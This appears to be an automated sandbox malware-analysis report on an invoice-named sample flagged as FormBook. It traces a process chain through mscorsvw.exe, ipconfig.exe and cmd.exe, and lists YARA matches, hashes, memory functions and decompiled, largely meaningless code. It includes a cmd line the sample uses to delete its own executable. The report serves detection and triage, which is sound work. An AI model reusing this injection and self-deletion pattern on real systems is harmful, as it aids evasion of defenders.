Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
Imagebase:	0xc20000
File size:	107592 bytes
MD5 hash:	38368FC9F84C7A27D0C8CD8E1543F172
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Analysis Process: explorer.exe PID: 3440 Parent PID: 5844

General

Start time:	08:28:29
Start date:	26/11/2020
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6f22f0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: ipconfig.exe PID: 1040 Parent PID: 3440

General

Start time:	08:28:43
Start date:	26/11/2020
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\ipconfig.exe
Imagebase:	0xe30000
File size:	29184 bytes
MD5 hash:	B0C7423D02A007461C850CD0DFE09318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Analysis Process: cmd.exe PID: 6064 Parent PID: 1040

General

Start time:	08:28:48
Start date:	26/11/2020
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe'
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 724 Parent PID: 6064

General

Start time:	08:28:51
Start date:	26/11/2020
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: PT300975-inv.exe PID: 7124 Parent PID: 5852 PT300975-inv.exeCOMMON

Executed Functions

Function 02DE5E00, Relevance: 4.7, Strings: 3, Instructions: 969COMMON

Download Yara Rule

Strings

ntin, xrefs: 02DE685F
(, xrefs: 02DE6486
<, xrefs: 02DE601A

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: ($<$ntin
API String ID: 544645111-2777557274
Opcode ID: 67001e30f07682ef9db9f4a890f1559c849016626832261eef08784cd267e59e
Instruction ID: 8b4ad06836a7ce113870b8228054f2c5a9fbe56b305ade3d9f9b6c7fc91be0a5
Opcode Fuzzy Hash: 67001e30f07682ef9db9f4a890f1559c849016626832261eef08784cd267e59e
Instruction Fuzzy Hash: BEA2DFB4E002188FDB14DFA9C981A9DFBF6BF99304F2481A9D509AB355D734AD81CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02DE2520, Relevance: 3.1, Strings: 2, Instructions: 645COMMON

Download Yara Rule

Strings

@, xrefs: 02DE2E25
<, xrefs: 02DE2645

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID: <$@
API String ID: 0-1426351568
Opcode ID: c390b16486b577e7fbab194315e2578e12b217b6f39780055d822df3a1c0e478
Instruction ID: 1f8b0a6d6239bf02ba3c778b9e2d76f9e3fe4ee611a714e25bb6bf9394fd733b
Opcode Fuzzy Hash: c390b16486b577e7fbab194315e2578e12b217b6f39780055d822df3a1c0e478
Instruction Fuzzy Hash: B1629CB4A00219CFDB64DFA9C988A9DFBF6BF48314F15C1A9D909AB212D7349D81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DE24A9, Relevance: 3.0, Strings: 2, Instructions: 452COMMON

Download Yara Rule

Strings

@, xrefs: 02DE2E25
<, xrefs: 02DE2645

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID: <$@
API String ID: 0-1426351568
Opcode ID: 30c86cb95f82a027f8850ed3b92a84e7572502241b4ab91ce2af2ce8037d0c18
Instruction ID: b24dcafb953722155595eb5b61dcd6c7135c64eadfdeaa54d5536f0d76bae378
Opcode Fuzzy Hash: 30c86cb95f82a027f8850ed3b92a84e7572502241b4ab91ce2af2ce8037d0c18
Instruction Fuzzy Hash: E722C0B0900219CFDB64DFAAC988A8DFBB6BF48715F15C1A9D909AB212D730DD81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DE5DF0, Relevance: 2.8, Strings: 2, Instructions: 303COMMON

Download Yara Rule

Strings

ntin, xrefs: 02DE6101
<, xrefs: 02DE601A

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: <$ntin
API String ID: 544645111-1611609020
Opcode ID: f1393b8e342a1fd566975f081fd6635deda87b1858f6b0a3124d6b928bfa9380
Instruction ID: 5368e15dcec9ee6eb25f9205b5c6cc1a03ea97918cdab767e3f9ef4b1a1ea961
Opcode Fuzzy Hash: f1393b8e342a1fd566975f081fd6635deda87b1858f6b0a3124d6b928bfa9380
Instruction Fuzzy Hash: 9DE191B5E006198FDB58CFAAC9856DEBBF6BF88300F14C0A9D518AB365DB345A41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DE3018, Relevance: 1.8, Strings: 1, Instructions: 501COMMON

Download Yara Rule

Strings

#, xrefs: 02DE3088

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID: #
API String ID: 0-1983530799
Opcode ID: c42645fa2de6d82246ccdbd3c7841c5055b618897f22bf979af30d3b8d75b232
Instruction ID: 01ffb2b168d16c70a81057c79726b8023d7df4556fca9be4eb403ace9e23f4f5
Opcode Fuzzy Hash: c42645fa2de6d82246ccdbd3c7841c5055b618897f22bf979af30d3b8d75b232
Instruction Fuzzy Hash: 6A32D1B0900258CFDB94EFA9C984AADFBB2BF48315F55C599C449AB212CB30DD85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02DE3012, Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

#, xrefs: 02DE3088

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID: #
API String ID: 0-1983530799
Opcode ID: 8ae27b6a5c9184cf652565ccf486efe99371c4ff971f9301ffb7806f97074a4d
Instruction ID: 69e10bbc39e8fd275e6695284f1b7486798494b30264f30450e9f6b5e06d3696
Opcode Fuzzy Hash: 8ae27b6a5c9184cf652565ccf486efe99371c4ff971f9301ffb7806f97074a4d
Instruction Fuzzy Hash: 2E51C771E006198FDB58DFAAC941BAEBBF2AF89204F10C0A9D54DA7354DB305E858F51

Uniqueness

Uniqueness Score: -1.00%

Function 02DE7EA0, Relevance: .9, Instructions: 924COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 577e1a0b110fec1520a48a2f1c70f91289ddb33671392bc2df91013b28cb14b2
Instruction ID: ae2cba840e46ea5922d20e4cefaf4f4c1bd887289e864529e12a1fe696956824
Opcode Fuzzy Hash: 577e1a0b110fec1520a48a2f1c70f91289ddb33671392bc2df91013b28cb14b2
Instruction Fuzzy Hash: 7AA2AD74D052288FDBA8EF65D988BDDBBB2EB49305F1081E9D409A7360DB349E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DE4340, Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1755a9fcbdc092297efe921099dbe661db59c79202655eef963a1f3ace37a7a3
Instruction ID: 70cbc331d166948c430aa899e683d6e4a823ccf9185c9fc025a5007589892661
Opcode Fuzzy Hash: 1755a9fcbdc092297efe921099dbe661db59c79202655eef963a1f3ace37a7a3
Instruction Fuzzy Hash: B6427F78E05219CFDB64DFA9C984B9DBBB2BF48314F1481A9E809A7355D730AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DE4330, Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 118689f4f9ce90a2b4f2300a72ba73bca43a67cb2a18b9a1c1cb7cee51f12992
Instruction ID: 05fa81d6823a4688c74a8b45c0609217863b42d120def04317171cf5686956e0
Opcode Fuzzy Hash: 118689f4f9ce90a2b4f2300a72ba73bca43a67cb2a18b9a1c1cb7cee51f12992
Instruction Fuzzy Hash: C071B275E05218CFDB18DFAAD884BDDBBB2BF88314F1481A9E809AB354DB719941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DEA0AF, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c577ba6f340082e48d945a00ef4e113758c678dd17c607184d26889c02750ca2
Instruction ID: e9c7eb7b2acb6af55adad1c6cf4146178b187872611b5f3ca9eea8a0243f5ac1
Opcode Fuzzy Hash: c577ba6f340082e48d945a00ef4e113758c678dd17c607184d26889c02750ca2
Instruction Fuzzy Hash: 8841CFB5E002098BDF08DFEAD9456DDBBF2AB88314F24D02AE809A7355EB345D46CF10

Uniqueness

Uniqueness Score: -1.00%

Function 02DEE9CC, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93618f23cbe4d1eba3f21d8f4a2e7b5cd96e2edc05afc290a4018e09cc3012be
Instruction ID: 48cd63e8a486faf99e1317a86ae1305336410715dba074e3263adb75cb85cca8
Opcode Fuzzy Hash: 93618f23cbe4d1eba3f21d8f4a2e7b5cd96e2edc05afc290a4018e09cc3012be
Instruction Fuzzy Hash: A34198B4D052489FDB20DFA9D584A9EBBF1BB09314F20902AE41ABB350CB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02DEE404, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b476df0ecb62f781833625793a7e5671562291d68f521ad93fd97bad125bddf
Instruction ID: 51d03517795605938e49c6ac392cd3220262bb24108d8d0f51e3e61cacb8b2c3
Opcode Fuzzy Hash: 5b476df0ecb62f781833625793a7e5671562291d68f521ad93fd97bad125bddf
Instruction Fuzzy Hash: 9B419AB4D052489FDF20DFA9C584A9EFBF1BB09314F20902AE416BB350D775A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02DEEEA4, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62c246c741465917ed75650116503628b01b23f391522867fac0555587ffe10d
Instruction ID: 25513ede0f29f943be6feead787e71005b376849a0bf3f4870dec685693350e2
Opcode Fuzzy Hash: 62c246c741465917ed75650116503628b01b23f391522867fac0555587ffe10d
Instruction Fuzzy Hash: 66318BB4D05209DFDF14CFA9D484AADBBF2BB89320F24A12AE815B7390D3349945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02DEEEB0, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191d58a3eba00ba65ce078b5299bdb71a5e0138b8ab35492601de8289ccc11a5
Instruction ID: acdd0b820c5d63dae924966ecd9238927dfdec834ced79622ce21a97fc31feb1
Opcode Fuzzy Hash: 191d58a3eba00ba65ce078b5299bdb71a5e0138b8ab35492601de8289ccc11a5
Instruction Fuzzy Hash: 90317DB4D05208EFCB14DFA9D484AADBBF2BB89320F249129E815B7390D3349945CF98

Uniqueness

Uniqueness Score: -1.00%

Function 02DEF1C9, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a80b71ee19e5c12c3b8fbd35dd62e63e1c618e93172f77b5a80888e67dd797a
Instruction ID: e69e3ab6e9faf012f2433abd5c9953f91bc839f7a43ef8caec64ca3b7c4166fc
Opcode Fuzzy Hash: 4a80b71ee19e5c12c3b8fbd35dd62e63e1c618e93172f77b5a80888e67dd797a
Instruction Fuzzy Hash: BC215F78D042089FDF14DFAAD4846EDBBF1AB4A310F14E129E825B7350D7749945CF98

Uniqueness

Uniqueness Score: -1.00%

Function 02DEF1D0, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba40970b71d016442e4051e8644e2b04da03dfe45e7d6b61a8de25b7028e2c44
Instruction ID: c2bcf50940880292cca51442bf9211fc156be4c2f57864227658e3a21b422ad3
Opcode Fuzzy Hash: ba40970b71d016442e4051e8644e2b04da03dfe45e7d6b61a8de25b7028e2c44
Instruction Fuzzy Hash: 20215E78D042089FDF14DFAAD4846EDBBF1AB49310F10E12AE825B7350D7349945CF98

Uniqueness

Uniqueness Score: -1.00%

Function 02DE23E8, Relevance: 1.6, APIs: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 02DE6DF7

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ed2c89043142c0ae73633e7a05bff828b36e14d50f092897661eddbf368e4ad3
Instruction ID: ee01a357d3899e9f08a7d29a92e5380547134446b6785abcb39f1b23b261522e
Opcode Fuzzy Hash: ed2c89043142c0ae73633e7a05bff828b36e14d50f092897661eddbf368e4ad3
Instruction Fuzzy Hash: AB31A8B9D042589FCF10DFAAD884AEEFBB4BB19310F14902AE815B7310D774A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02DE21E4, Relevance: 1.6, APIs: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,35F68FB7,B86C8A8B), ref: 02DE2FAF

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 56f7ff1dc42373d9f956b042df0e22e234fda5e2be2ce056b8ce1cfae6e7163b
Instruction ID: fd32b61acd240cf53c3bae7f674753fddddfa9313fcb9c9d8ea0cca2931c3bee
Opcode Fuzzy Hash: 56f7ff1dc42373d9f956b042df0e22e234fda5e2be2ce056b8ce1cfae6e7163b
Instruction Fuzzy Hash: 2031C9B9D042589FCF10CFAAD884ADEFBB4BB19310F14902AE815B7350C374A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02DE2F00, Relevance: 1.6, APIs: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,35F68FB7,B86C8A8B), ref: 02DE2FAF

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a2922b9641feec0e17a9646983f56760ba7261604b2dfb8d068903dd178cdb4e
Instruction ID: d3c0a9602c236828bc78e8cee997c45e6375950837506ed0688e200f1cb94cd2
Opcode Fuzzy Hash: a2922b9641feec0e17a9646983f56760ba7261604b2dfb8d068903dd178cdb4e
Instruction Fuzzy Hash: 0E31B8B9D042589FCF10CFAAD884ADEFBB4BB19314F24A02AE815B7350C734A945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 02DE6D48, Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 02DE6DF7

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4c46631951db44205d6c894db9bd4177e8d4dacc10882a3e774803371aea5671
Instruction ID: b1405ea8d80429b3af95e91e18890fd5166b9e83a4455b3f98e22e4e2571194a
Opcode Fuzzy Hash: 4c46631951db44205d6c894db9bd4177e8d4dacc10882a3e774803371aea5671
Instruction Fuzzy Hash: D731AAB9D042589FCF10CFA9D984ADEFBB1BB19310F14906AE814BB310D734A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02DE9398, Relevance: 1.6, APIs: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 02DE9439

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: d038712fa56ae85bd31275148ed6af12127e7571c7357ee3fb252bc8e1a01ae2
Instruction ID: d10aa3a63108e58ffc2b8ee7b6ce75593c5b3d7b20221d1f3bf4c85f7c13c887
Opcode Fuzzy Hash: d038712fa56ae85bd31275148ed6af12127e7571c7357ee3fb252bc8e1a01ae2
Instruction Fuzzy Hash: 9831AAB5D022589FCB10DFA9D884AEEFBF0AF49314F14806AE415B7310D334AA46CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02DE2484, Relevance: 1.6, APIs: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 02DE9439

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 6a2333e5bfafd4447770da3ce41510f670cbf05c8ebfae6c0842ce5be4a0d5a8
Instruction ID: 75687fca03874d9ff739bb013ce9c12600ede7d3f6bdddb5a419df345c33604a
Opcode Fuzzy Hash: 6a2333e5bfafd4447770da3ce41510f670cbf05c8ebfae6c0842ce5be4a0d5a8
Instruction Fuzzy Hash: A231A9B4D052189FCF10DFA9D884AEEFBF4AF49314F14806AE415B7350D374A946CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0139D21D, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345038399.000000000139D000.00000040.00000001.sdmp, Offset: 0139D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54db5355946e57e4e22d0efac8c6767cbe41360406744f5e6355e2b317dbe846
Instruction ID: 2d64f40b015902d8c6146fdb926e1b5e1b4575615b9efe8f0846d199a721ff22
Opcode Fuzzy Hash: 54db5355946e57e4e22d0efac8c6767cbe41360406744f5e6355e2b317dbe846
Instruction Fuzzy Hash: 7501F7714083489AEF205BA9DC81766BB9CEF4127CF18809AEE445B646C379D844C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0139D21C, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345038399.000000000139D000.00000040.00000001.sdmp, Offset: 0139D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e362c482854ab7372672dba0956e747b0f01973d333d8411bd0cf89895fe2ad3
Instruction ID: aca9a37f0606ab4e78c961df31b36df55eb4e14fae0165909a18280a814277f6
Opcode Fuzzy Hash: e362c482854ab7372672dba0956e747b0f01973d333d8411bd0cf89895fe2ad3
Instruction Fuzzy Hash: FDF09671404384AFEB118E59CCC4BA2FF98EF41778F18C49AED485B286C3789844CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C6E5D9, Relevance: 1.1, Instructions: 1133
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E00C6E5D9(signed int __eax, void* __ebx, intOrPtr* __ecx, void* __edx, signed int __edi, intOrPtr* __esi) {
				signed int _t157;
				signed char _t158;
				signed char _t160;
				signed char _t161;
				signed char _t163;
				signed char _t165;
				signed char _t166;
				signed char _t167;
				signed char _t168;
				signed int _t169;
				signed char _t170;
				signed char _t172;
				signed int _t174;
				signed int _t244;
				void* _t245;
				intOrPtr* _t246;
				intOrPtr* _t252;
				intOrPtr* _t253;
				intOrPtr* _t254;
				void* _t260;
				void* _t261;
				void* _t266;
				void* _t267;
				intOrPtr* _t268;
				void* _t270;
				void* _t271;
				void* _t273;
				void* _t274;
				void* _t275;
				void* _t276;
				intOrPtr* _t279;
				void* _t280;
				void* _t281;
				signed int _t315;
				intOrPtr* _t317;
				void* _t319;
				void* _t321;
				void* _t341;
				intOrPtr _t358;

				_t317 = __esi;
				_t315 = __edi;
				_t252 = __ecx;
				_t245 = __ebx;
				_t157 = __eax | 0x0000000f;
				_t260 = __edx + __ebx + __ebx;
				_push(cs);
				asm("verw word [eax]");
				 *_t157 =  *_t157 & _t157;
				 *__esi =  *__esi + _t157;
				if( *__esi != 0) {
					 *_t157 =  *_t157 + _t157;
					_t157 = _t157 +  *__esi;
					 *((char*)(__edi + _t157)) =  *((char*)(__edi + _t157)) - 1;
					es = cs;
					_t260 = _t260 + __ebx + __ebx;
					 *_t157 =  *_t157 + _t157;
					_t319 = _t319 -  *0xcfe0000;
				}
				 *((char*)(_t157 + _t157)) =  *((char*)(_t157 + _t157)) - 1;
				_t261 = _t260 + _t245;
				_push(cs);
				 *_t157 =  *_t157 + _t157;
				 *_t252 =  *_t252 - _t157;
				 *_t157 =  *_t157 + _t157;
				_push(es);
				if( *_t157 != 0) {
					 *_t157 =  *_t157 + _t157;
					_t244 = _t157 +  *_t317;
					 *_t252 =  *_t252 - _t244;
					 *_t244 =  *_t244 + _t244;
					_push(es);
					if( *_t244 != 0) {
						 *_t244 =  *_t244 + _t244;
						_t244 = _t244 +  *_t317;
						 *_t244 =  *_t244 + _t252;
						 *_t244 =  *_t244 & _t244;
						 *_t317 =  *_t317 + _t244;
						if( *_t317 != 0) {
							 *_t244 =  *_t244 + _t244;
						}
						 *_t252 =  *_t252 + _t244;
					}
					_t157 = _t244 - 0xde00d4;
				}
				 *_t157 =  *_t157 + _t157;
				 *_t157 =  *_t157 + _t157;
				 *((intOrPtr*)(_t317 + _t315 * 8)) =  *((intOrPtr*)(_t317 + _t315 * 8)) + _t261;
				_push(cs);
				_t158 = _t157 + 0xbde00;
				 *((char*)(_t317 + _t252)) =  *((char*)(_t317 + _t252)) - 1;
				_push(cs);
				_push(cs);
				 *_t158 =  *_t158 + _t158;
				 *0x2615dee4 =  *0x2615dee4 + _t252;
				_t253 = _t252 -  *_t252;
				_t160 = _t158 | 0xe;
				_t266 = _t261 + _t245 + _t245 + _t245 + _t245 + _t245;
				_push(cs);
				 *_t160 =  *_t160 + _t160;
				 *((char*)(_t160 + _t253)) =  *((char*)(_t160 + _t253)) - 1;
				 *0xdef0 =  *0xdef0 + _t253;
				 *0x15fe0002 =  *0x15fe0002 - 1;
				_t161 = _t160 ^  *_t160;
				 *_t253 =  *_t253 + _t161;
				 *((char*)(_t266 + _t161)) =  *((char*)(_t266 + _t161)) - 1;
				_t267 = _t266 + _t245;
				_t246 = _t245 + _t245;
				 *0x15fe0002 =  *0x15fe0002 - 1;
				_t163 = (_t161 | 0x00000002) ^  *(_t161 | 0x00000002);
				 *_t253 =  *_t253 + _t163;
				 *((char*)(_t267 + _t163)) =  *((char*)(_t267 + _t163)) - 1;
				_t268 = _t267 + _t246;
				_t254 = _t253 + _t246;
				_t321 = cs;
				_t165 = (_t163 | 0x00000002) - 0x21280034;
				 *_t165 =  *_t165 + _t165;
				_push(es);
				if( *_t165 != 0) {
					 *_t165 =  *_t165 + _t165;
					 *0x21280d =  *0x21280d + _t319;
					 *_t317 =  *_t317 + _t165;
					if( *_t317 == 0) {
						L12:
						 *_t268 =  *_t268 + _t165;
						 *[es:eax] =  *[es:eax] + _t165;
						 *_t254 =  *_t254 - _t165;
					} else {
						 *_t165 =  *_t165 + _t165;
						_t165 = _t165 +  *_t317;
						_t254 = _t254 -  *((intOrPtr*)(_t165 + _t165));
						 *_t254 =  *_t254 - _t165;
						 *_t165 =  *_t165 + _t165;
						_push(es);
						if( *_t165 != 0) {
							 *_t165 =  *_t165 + _t165;
							goto L12;
						}
					}
					 *_t165 =  *_t165 + _t165;
					_push(es);
					if( *_t165 != 0) {
						 *_t165 =  *_t165 + _t165;
					}
					 *_t254 =  *_t254 + _t165;
					_t165 = _t165 - 0xcc;
					 *_t254 =  *_t254 - _t165;
					 *_t165 =  *_t165 + _t165;
				}
				 *_t317 =  *_t317 + _t165;
				if( *_t317 != 0) {
					 *_t165 =  *_t165 + _t165;
					 *0x21281e =  *0x21281e + _t319;
					 *_t317 =  *_t317 + _t165;
					if( *_t317 != 0) {
						 *_t165 =  *_t165 + _t165;
						_t246 = _t246 + _t268;
						_push(cs);
						asm("lldt word [esi+edi*8]");
						_push(cs);
						_t165 = _t165;
						 *_t254 =  *_t254 - _t165;
						 *_t165 =  *_t165 + _t165;
						_t341 =  *_t165;
						_push(es);
					}
					if(_t341 != 0) {
						 *_t165 =  *_t165 + _t165;
						_t165 = _t165 +  *_t317;
						 *_t165 =  *_t165 + _t165;
						 *((char*)(_t165 + _t254)) =  *((char*)(_t165 + _t254)) - 1;
						 *0xcfe00cd =  *0xcfe00cd + _t254;
